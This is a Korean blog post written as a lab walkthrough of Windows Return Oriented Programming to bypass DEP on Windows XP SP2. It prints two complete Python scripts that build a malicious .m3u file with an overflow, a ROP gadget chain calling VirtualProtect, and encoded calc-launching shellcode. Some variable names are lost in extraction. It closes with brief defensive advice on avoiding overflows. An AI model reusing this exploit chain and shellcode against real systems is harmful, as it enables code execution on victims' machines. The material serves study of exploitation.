티스토리 뷰

System/Windows

Windows ROP

Tribal 2016. 2. 12. 20:03

Windows ROP(Return Oriented Programming) : Windows 메모리 방어기법 DEP를 우회하기 위한 Overflow 공격기법


DEP에 대한 간략한 내용은 아래 url 참고

http://tribal1012.tistory.com/entry/Windows-%EB%B3%B4%EC%95%88-%EA%B8%B0%EB%B2%95


실습 환경

Windows XP sp2 영문판


DEP가 보호 중인 상태에서 쉘 코드 실행


접근 오류(Code 0xC0000005)가 발생하여 공격이 실패하는 것을 볼 수 있다.



Windows 에서는 Linux와 다르게 특정 API 함수를 사용해서 ShellCode를 실행할 수 있다.



여기서 VirtualAlloc() 함수와 HeapCreate()와 HeapAlloc() 함수의 경우 실행 가능한 영역을 생성하는 것 뿐이기 때문에 메모리 복사를 하는 memcpy 같은 함수를 별도로 호출해야 한다. 

또, Windows 버젼에 따라 공격에 사용할 수 있는 API 함수가 달라지기 때문에 잘 확인해야 한다.
(예를 들어, Windows XP sp2의 경우 SetProcessDEPPolitcy 함수 자체가 없다.)


일단 API 함수에 빨간색으로 표시해 둔 것과 마찬가지로 ROP 실습에 VirtualProtect() 함수를 사용하여 공격할 것이다.

인자는 MSDN에 나와있는 것과 마찬가지로 다음과 같다.

출저 : MSDN


Windows ROP 공격은 아래 그림의 페이로드 형태로 진행될 것이다.



공격 과정 정리

  1. 페이로드를 통한 Overflow로 직접 Return Address를 덮음
  2. RET 4 를 통해 Return Address에 있는 주소로 리턴하고 ESP + 4를 해줌
  3. 나중에 현재 ESP의 위치로 돌아올 수 있도록 ESP를 다른 레지스터에 저장해둔 후 ESP 상승
  4. VirtualProtect() 함수의 인자를 하나하나 채워주기 위한 gadget 실행
  5. VirtualProtect() 함수의 인자가 준비되었으므로 ESP를 다시 되돌려 VirtualProtect() 위치로 이동
  6. ret 명령어를 통해 VirtualProtect() 함수 실행
  7. 함수 호출 규약에 따라 Return Address 즉, VirtualProtect() 함수를 통해 실행 권한을 얻은 영역으로 리턴
  8. 실행권한이 생긴 영역에서 NOP을 타고 내려가 Shellcode 실행

실습할 취약 프로그램


이전에 Windows Stack Overflow에서 실습했던 녀석이다. 이전에 ret를 구하였으니 이번에는 생략할 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import *
 
ret = 0x100102DC    #ret
 
shellcode = ""
shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
shellcode += "\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x34\x4e\x33\x4b\x58\x4e\x47"
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
shellcode += "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x58"
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
shellcode += "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
shellcode += "\x46\x4f\x4b\x53\x46\x55\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58"
shellcode += "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54"
shellcode += "\x4b\x38\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
shellcode += "\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x33"
shellcode += "\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x37"
shellcode += "\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
shellcode += "\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
shellcode += "\x42\x50\x42\x50\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x45\x41\x33"
shellcode += "\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
shellcode += "\x42\x35\x4a\x46\x50\x57\x4a\x4d\x44\x4e\x43\x47\x4a\x46\x4a\x39"
shellcode += "\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x36"
shellcode += "\x4e\x36\x43\x46\x42\x50\x5a"        #343byte(calc)
 
= lambda x: pack("<I",x)
 
cmd = "A"*25000 + "A"*1064
cmd += p(ret)
cmd += "AAAA"
############save esp, jmp argv 1##############
cmd += p(0x5AD79EE7)    #push esp + mov eax, edx + pop edi
cmd += p(0x77C1E842)    #push edi + pop eax + pop ebp        #eax and edi => esp
cmd += "AAAA"
cmd += p(0x1001653D)    #add esp, 20
 
############Call VirtualProtect ##############
cmd += p(0x7C801AD0)    #VirtualProtect()
cmd += "AAAA"            #ret
cmd += "BBBB"            #lpAddress
cmd += "CCCC"            #size
cmd += "DDDD"            #flNewProtect
cmd += p(0x10035005)
cmd += "E"*8            #padding
cmd += "TTTT"
 
############ shellcode ############
cmd += "\x90"*150
cmd += shellcode
cmd += "A"*100            #padding
 
= open("ropcrash.m3u""w")
f.write(cmd)
f.close()
cs


각자의 방법으로 ROP gadget을 찾아 다음과 같은 형식으로 채워준다. 

난 이상하게 실습환경에서 이머니티 디버거와 Windbg가 안 돌아가는 상황때문에 직접 올리디버거의 search for commands와 Binary string 기능으로 직접 하루종일 찾았다...


주석에 나와있는 것과 같이 gadget을 찾아 위의 페이로드와 같이 배치하면 EIP에 0x54545454가 들어있는 것을 볼 수 있다.


이제 저 cmd += "TTTT" 부분을 다음 ROP gadget인 VirtualProtect의 인자와 Return Address를 실행할 수 있게 해준다. 그래서 이 gadget을 통해 인자를 빠짐없이 채워준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from struct import *
 
ret = 0x100102DC    #ret
 
shellcode = ""
shellcode += "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
shellcode += "\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x34\x4e\x33\x4b\x58\x4e\x47"
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x48"
shellcode += "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x58"
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
shellcode += "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
shellcode += "\x46\x4f\x4b\x53\x46\x55\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58"
shellcode += "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54"
shellcode += "\x4b\x38\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
shellcode += "\x41\x30\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x33"
shellcode += "\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x43\x45\x38\x42\x4c\x4a\x37"
shellcode += "\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
shellcode += "\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
shellcode += "\x42\x50\x42\x50\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x45\x41\x33"
shellcode += "\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
shellcode += "\x42\x35\x4a\x46\x50\x57\x4a\x4d\x44\x4e\x43\x47\x4a\x46\x4a\x39"
shellcode += "\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x36"
shellcode += "\x4e\x36\x43\x46\x42\x50\x5a"        #343byte(calc)
 
= lambda x: pack("<I",x)
 
cmd = "A"*25000 + "A"*1064
cmd += p(ret)
cmd += "AAAA"
############save esp, jmp argv 1##############
cmd += p(0x5AD79EE7)    #push esp + mov eax, edx + pop edi
cmd += p(0x77C1E842)    #push edi + pop eax + pop ebp        #eax and edi => esp
cmd += "AAAA"
cmd += p(0x1001653D)    #add esp, 20
 
############Call VirtualProtect ##############
cmd += p(0x7C801AD0)    #VirtualProtect()
cmd += "AAAA"            #ret
cmd += "BBBB"            #lpAddress
cmd += "CCCC"            #size
cmd += "DDDD"            #flNewProtect
cmd += p(0x10035005)
cmd += "E"*8            #padding
 
############ argv 1(Return Address) #############
cmd += p(0x7CA67175)    #xchg edi, esi                        #esi => esp
cmd += p(0x1002DC4C)    #add eax, 100 + pop ebp
cmd += "AAAA"
cmd += "AAAA"
cmd += "AAAA"
cmd += p(0x77E844C4)    #mov [esi+10], eax + mov eax, esi + pop esi
cmd += "AAAA"
 
############ argv 2(lpAddress) #############
cmd += p(0x775D02BC)    #push eax + pop esi
cmd += p(0x1002DC4C)    #add eax, 100 + pop ebp
cmd += "AAAA"
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x77E844C4)    #mov [esi+10], eax + mov eax, esi + pop esi
cmd += "AAAA"
 
############ argv 3(dwSize) #############
cmd += p(0x775D02BC)    #push eax + pop esi
cmd += p(0x100307A9)    #xor eax, eax
cmd += p(0x1002DC4C)    #add eax, 100 + pop ebp
cmd += "AAAA"
cmd += p(0x1002DC4C)    #add eax, 100 + pop ebp
cmd += "AAAA"
cmd += p(0x1002DC4C)    #add eax, 100 + pop ebp
cmd += "AAAA"
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x77E844C4)    #mov [esi+10], eax + mov eax, esi + pop esi
cmd += "AAAA"
 
############ argv 4(flNewProtect) #############
cmd += p(0x775D02BC)    #push eax + pop esi
cmd += p(0x100307A9)    #xor eax, eax
cmd += p(0x1002DC41)    #add eax, 40 + pop ebp
cmd += "AAAA"
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x7714A03A)    #inc esi
cmd += p(0x77E844C4)    #mov [esi+10], eax + mov eax, esi + pop esi
cmd += "AAAA"
 
############ shellcode ############
cmd += "\x90"*150
cmd += shellcode
cmd += "A"*100            #padding
 
= open("ropcrash.m3u""w")
f.write(cmd)
f.close()
cs



ROP gadget을 따라서 VirtualProtect() 함수의 인자가 채워져 나가더니 제대로 전부 채워진 것까지 확인할 수 있다.

그렇다면 이제 ESP를 원상복귀시켜서 VirtualProtect() 함수를 실행하면 되겠다.



성공적으로 Shellcode가 실행되어 계산기가 실행되는 것을 확인할 수 있다.


직접 ret를 덮는 것이 아닌 SEH Overwrite의 경우

DEP로 인해서 이전처럼 prev에 jmp 쉘코드를 넣어주어도 실행이 되지 않는다. 따라서 handler에 이전처럼 pop-pop-ret gadget이 아니라 ESP를 상승시키는 gadget으로 ESP를 원래의 위치로 되돌려 준 후 진행할 수 있게 하면 되겠다.


방어대책
지금까지 Windows의 BOF와 SEH Overwrite, Windows ROP 이외에도 Linux의 Overflow 기법들을 해왔는데 아무리 시스템의 방어기법이 생기고 업그레이드 되어도 결국은 Exploit 되는 것을 볼 수 있었다. 방어기법이 발달하면 공격기법 또한 발달하는 법!

시스템의 방어기법을 켜는 것도 중요하지만 이것을 완전히 믿지 말고 Overflow 같은 Exploit의 원인을 제공해 주지 않는게 가장 중요하다.
Overflow Exploit의 원인은 표준 입력이나 복사같은 함수를 사용할 때 인자의 크기를 고려하지 않거나 인자의 크기를 잘못 고려하였기 때문에 발생하는 문제이다. 따라서 이 부분을 항상 조심해야 할 것이다.


--------------------------------------------------------------------------------

참고 자료 : 

[exploit writing] 10_ROP.pdf


본래 문서를 참고만 해서 다른 API 함수를 통해 공격을 진행하려고 했으나 일단은 문서를 따라하는 수준 밖에 안되네요...후...

설명이 복잡할 것 같아서 동영상으로 Trace한 장면을 넣었습니다. 잘 안 보이는 아래에 화질 올릴 수 있으니 올리시면 되겠습니다.

'System > Windows' 카테고리의 다른 글

페이징 정리 1  (0) 2016.03.02
스레드의 상태  (0) 2016.03.02
Windows SEH Overwrite  (0) 2016.02.11
Windows Stack OverFlow  (0) 2016.02.11
Windows Shellcode  (0) 2016.01.30
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31